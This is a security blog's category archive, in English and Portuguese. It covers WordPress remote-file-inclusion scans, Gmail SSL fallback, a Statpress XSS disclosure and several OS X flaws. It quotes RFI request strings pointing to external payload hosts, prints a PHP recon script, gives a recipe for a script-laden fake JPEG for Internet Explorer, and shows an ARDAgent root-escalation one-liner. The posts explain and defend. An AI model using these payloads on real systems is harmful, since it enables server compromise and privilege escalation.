Archive for the Category Security

 
 

Malicious web activity

I’ve noticed that since Friday there has been allot of scanning activity attempts against my blog. Fortunately, they fail. The IP addresses come from a variety of countries like Denmark, Germany, Ukraine, USA and alike, and all seem to come from compromised machines, running Windows 2000, 98 (go figure) and Solaris.

The scanning methods used are interesting. In the logs I can see all sorts of strings sent to a Wordpress PHP variable (?) in order to exploit some kind of remote file inclusion vulnerability.

Here’s an example of the requests being made to the server:

DOCUMENT_ROOT=http://bolikowski.com/images/_MD.TXT??
DOCUMENT_ROOT=http://www.pne.de//contenido/includes/cmd.txt??
_SERVER[DOCUMENT_ROOT]=http://notonyourradio.com/bresica.gif??
_SERVER[DOCUMENT_ROOT]=http://bolikowski.com/images/test.txt???

Well let’s have a look at the content of those files:

<?php
function ConvertBytes($number) {
        $len = strlen($number);
        if($len < 4)
                return sprintf("%d b", $number);
        if($len >= 4 && $len <=6)
                return sprintf("%0.2f Kb", $number/1024);
        if($len >= 7 && $len <=9)
                return sprintf("%0.2f Mb", $number/1024/1024);

        return sprintf("%0.2f Gb", $number/1024/1024/1024);
}
echo "Script Kiddx0r<br>";
$fast = @php_uname();
$fast2 = system(uptime);
$fast3 = system(id);
$fast4 = @getcwd();
$fast5 = getenv("SERVER_SOFTWARE");
$fast6 = phpversion();
$fast7 = $_SERVER['SERVER_NAME'];
$fast8 = gethostbyname($SERVER_ADDR);
$fast9 = get_current_user();
$fast10= diskfreespace($fast4);
$fast11 = ConvertBytes(diskfreespace($fast4));
if (!$fast11) {$fast11 = 0;}
$all1= disk_total_space($fast4);
$fast12 = ConvertBytes(disk_total_space($fast4));
if (!$fast12) {$fast12 = 0;}
$fast13 = ConvertBytes($all1-$fast10);
$os = @PHP_OS;

echo "Script Kiddx0r<br>";
echo "os: $os<br>";
echo "uname -a: $fast<br>";
echo "uptime: $fast2<br>";
echo "id: $fast3<br>";
echo "pwd: $fast4<br>";
echo "user: $fast9<br>";
echo "phpv: $fast6<br>";
echo "SoftWare: $fast5<br>";
echo "ServerName: $fast7<br>";
echo "ServerAddr: $fast8<br>";
echo "free: $fast11<br>";
echo "used: $fast12<br>";
echo "total: $fast13<br>";
echo "By Script Kiddx0r<br>";
exit;
?>

This PHP code is for information gathering about the server, PHP version, OS version etc… it even has a function to convert the disk space from bytes. There are other variants of the code, you can check them at the URL’s. The most interesting thing is that the files used to execute the inclusion are in various formats, like txt and gif, pretending to be an image, but it’s just a PHP file with a .gif extension. Another fact is that most of the websites hosting this files are compromised in a way that the owner doesn’t even notices.

It seems that there’s allot of scanning going on websites (I’m getting nearly 3 scans attempts per hour, but I haven’t found a reason for it, there’s no recent disclosure about a related vulnerability. So I’ll keep searching for some clues about this. Be aware of your blog’s activity, and update every CMS and plugins in use to the latest version.

Gmail SSL

Há uns tempos atrás escrevi um post sobre como melhorar a segurança do Gmail forçando o modo SSL no URL. Esta prática tem algum efeito pois por omissão o Gmail usa apenas SSL no login, descartando-o depois. Ou seja, as cookies passam a viajar na rede sem qualquer tipo de protecção. Usando antes o endereço “https://mail.google.com” irá alterar este comportamento.

Acontece que esta medida não é 100% confiável devido ao próprio funcionamento do Javascript no Gmail. Mesmo que tenha sido colocado o https no URL, se por algum motivo a ligação https não puder ser estabelecida, o Javascript descarta-se da ligação SSL e tenta ligar por http normal, ficando assim para o resto da sessão. Isto vai causar comportamentos indesejados em situações específicas, como por exemplo: no caso em que ligamos o portátil num hotspot público, abrimos o browser no Gmail ainda a ligação está a ser estabelecida, o https vai falhar porque não temos ligação e o Gmail passa automaticamente para http, permanecendo nesse modo. Se estiver alguém a capturar os dados da rede, game-over. Ou ainda outro cenário, em que se está a usar o Gmail, a rede cai, este não acede por https, faz fallback para o modo http e quando a rede voltar já estamos a enviar dados em claro.

Apesar de já ser um ganho significativo em relação a outros serviços online que não têm sequer modo SSL, o modo como o do Gmail está implementado pode em algumas situações ser inútil, sendo vulnerável a sidejacking tal como os outros.

Correr javascript no IE a partir de uma imagem

No Internet Explorer, desde o 6 até ao actual 8, é possível correr código javascript ou html através de uma imagem especialmente criada com esse propósito.

Desde o tempos do IE 6 que a Microsoft sabe deste problema, mas nunca o chegou a corrigir por considerar uma “feature” e não um bug.

Aqui fica um exemplo de como é fácil explorar esta “feature”. Este exemplo não funciona no Firefox, nem Opera.

Primeiro temos de criar uma imagem. A maneira mais fácil será recorrer ao photoshop. Cria-se uma imagem qualquer e depois em File -> File info acedemos ao campo Copyright notice, onde lá colocamos o código javascript (talvez um iframe para ir buscar um trojan, who knows). Para simplificar a demonstração vamos apenas colocar o código:

<script>alert('Teste!');</script>

Outra maneira, mais rápida é colocar um header de imagem num editor de texto normal, bastando para isso colocar o seguinte no editor:

%137%74%80%71%13%10%26%10%00%00%00%13%00%00%00%01%00%00%00%01<script>alert('Teste!');</script>

Agora é só gravar o ficheiro com a extensão .jpg e abrir o ficheiro com o Internet Explorer.

Aqui fica um ficheiro com este exemplo para testarem.

Update: Ao que parece a Google suspendeu o site onde alojei a imagem de teste devido a esta violar as condições. Um bom sinal de que a Google trabalha de modo a dar alguma segurança aos seus serviços. Não me vou dar ao trabalho de realojar a imagem, poderão seguir as instruções acima para recriar a mesma e testarem. No entanto é de notar que esta terá de estar alojada online para resultar. Não pode ser aberta localmente.

Update 2: Mais sobre o assunto aqui e aqui.

Falha de segurança grave no protocolo DNS

Foi ontem anunciada uma grave vulnerabilidade no protocolo DNS que permite que qualquer domínio seja forjado em qualquer servidor DNS através de DNS cache poisoning.

Pelo facto de a falha ser no protocolo, praticamente todas as implementações de servidores DNS são vulneráveis, tal como BIND, Microsoft, Cisco, etc.

Felizmente, a pessoa que anunciou esta vulnerabilidade, Dan Kaminsky, não teve quaisquer intenções maliciosas, comunicando a falha às empresas associadas e desenvolvendo em conjunto com as mesmas uma solução. É de notar que se as intenções fossem outras, Dan poderia perfeitamente ter aproveitado para ganhar uma fortuna à custa da sua descoberta.

Fica aqui o advisory da CERT, e ainda uma online tool criada por Dan para verificar se os vossos DNS servers são vulneráveis. De qualquer modo já existem patchs para a maioria das implementações.

Firewall do OS X Leopard

Só ontem reparei que a firewall do Leopard no modo “Allow specific applications and services” por default dá acesso à maioria dos serviços sem sequer pedir confirmação. Como por exemplo, o MAMP, que na sua versão gratuita vem por default a correr os serviços localmente…

MAMP installs a local server environment in a matter of seconds on your Mac OS X computer, be it PowerBook or iMac. Like similar packages from the Windows- and Linux-world, MAMP comes free of charge.

Acontece que o “local server” estava disponível remotamente out-of-the box, no porto 8888. Até aqui estaria tudo bem, pois afinal de contas a firewall do OS X está a bloquear tudo excepto o que eu dou permissão.

Errado.

Não só consegui aceder remotamente ao servidor Apache, como também podia ter comprometido o macbook pois tinha lá a correr uma aplicação web com vulnerabilidades propositadas para pen testing.

Além do Apache havia outras aplicações à espera de ligações permitidas pela firewall, como o X server no porto 6000, MySQL, se bem que este último por configurações internas não permitia acessos que não fossem locais.

Conclusão, coloquei a firewall na opção “Allow essential services only” e depois de vários nmap’s confirmou-se tudo trancado.

Statpress plugin XSS vulnerability disclosure

I’m writing this post in english because it might be helpful to many people around the world that use this plugin.

The visitor statistics plugin for Wordpress, called Statpress has a dangerous XSS vulnerability that I’ve found in the referer and user agent that allows an attacker to execute Javascript code.

For those who don’t know, the referer is the last URL the visitor was in before entering your blog, and the user agent is the web browser he used to surf your blog.

It’s pretty easy for a developer to believe that these data fields would never be manipulated, but in fact, using widely available tools, everyone can change them to Javascript code that will be executed when the blog’s admin visits the Statpress statistics page.

What could happen? Well, it depends on the attacker’s creativity. He could just redirect the admin to a cloned Wordpress login page to capture his password, or he could be more subtle and steal the admin’s cookie and easily gain access without him never knowing.

What can you do to solve this problem? Well, since I’m a Statpress user myself, I tried to contact the author almost one month ago, when I found this vulnerability. Until now,  I got no response, so I decided to patch the problem myself (yep, the power of open source :D).

You can download here my patched statpress.php until the author releases the official one. I’ve tried it on my blog and it works. Instead of executing the Javascript code, just displays it, so admins can notice that someone attempted to own the blog :)

Patch note: To apply the patch just extract it and overwrite your statpress.php located in the plugins/wp-statpress directory, with this provided statpress.php.

Update: The author has released the official update. Check here.

Vulnerabilidade grave no Mac OS X

Eu nem vou comentar esta vulnerabilidade, pois está tudo aqui nesta notícia. Um user normal pode facilmente obter acesso root num mac e uma prova disso é efectuar o seguinte comando no terminal:

osascript -e 'tell app "ARDAgent" to do shell script "whoami"';

Agora é só substituir o “whoami” por algo mais original e já podem ter uma ideia dos estragos que alguém com conta de utilizador no vosso mac pode fazer.

Não existem correcções oficiais para isto por enquando. A única maneira é mesmo mudar as permissões da aplicação ou remover completamente, o que poderá quebrar a instalação dos próximos updates.

Vulnerabilidade no Firefox 3 e versões anteriores

Aparentemente foi apenas uma mera má coincidência no que diz respeito ao timing. Os DV Labs encontraram uma vulnerabilidade crítica no Firefox 3 e 2.x. Esta vulnerabilidade se for explorada com sucesso leva à execução remota de código. Para tal acontecer é necessária a interacção do utilizador, como por exemplo, clicar num link.

Os DV Labs vão seguir a sua política de divulgação e não vão revelar nenhuns detalhes sobre a vulnerabilidade enquanto a Mozilla não lançar uma patch para corrigir o problema.

Apple publica guias de segurança para OS X

file vault

Finalmente a Apple parece que acordou para os tempos que correm e decidiu publicar 240 páginas de guias de segurança relativos às últimas versões do seu sistema operativo (10.3 Panther, 10.4 Tiger e 10.5 Leopard). Já vão longe os tempos onde só o Windows era alvo de ataques e com os Macs a multiplicarem-se cada vez mais, convém começar a “educar” os utilizadores com documentação oficial. No entanto os utilizadores mais alheios ao lado técnico da informática são postos um pouco à parte dessa documentação, tal como indica o aviso da Apple:

“To use these guides, you should be an experienced Mac OS X user, be familiar with the Mac OS X user interface, and have at least some experience using the Terminal application’s command-line interface. You should also be familiar with basic networking concepts.

Certain instructions in the guides are complex, and deviation could result in serious adverse effects on the computer and its security. The guides should only be used by experienced Mac OS X users, and any changes made to your settings should be thoroughly tested.”

O facto de ser necessário ter alguma experiência com a linha de comandos vai afastar bastantes utilizadores, no entanto é altamente recomendável a leitura destes guias, nem que seja um pouco pela diagonal, pois as configurações default do OS X não são muito aconselháveis.

Link para os guias: http://www.apple.com/support/security/guides/

IBM database conectivity for Javascript

Admito que ainda não li por completo todas as features deste novo modo de acesso a bases de dados criado pela IBM, mas pelo pouco que li, parece-me uma má ideia do ponto de vista da segurança…

“On the client, IBM Database Connectivity for JavaScript consists of a JavaScript API and library that can be used by Web applications without special browser plug-ins. On the server, the IBM Database Connectivity for JavaScript gateway, written in PHP, is an adaptor layer that mediates between IBM Database Connectivity for JavaScript and relational databases and provides functions such as operation forwarding and security. Web 2.0 applications can thus use IBM Database Connectivity for JavaScript to access relational data as a first-class construct instead of through ad hoc protocols.”

Business logic do lado do cliente, javascript a criar SQL statements e enviar para a base de dados… É um excelente trabalho por parte da IBM e o conceito não deixa de ser interessante, mas… tudo isto assenta numa plataforma insegura onde muito provavelmente se poderão subverter as aplicações utilizando ferramentas como o firebug.

Mais informação detalhada: http://smallr.net/rc24217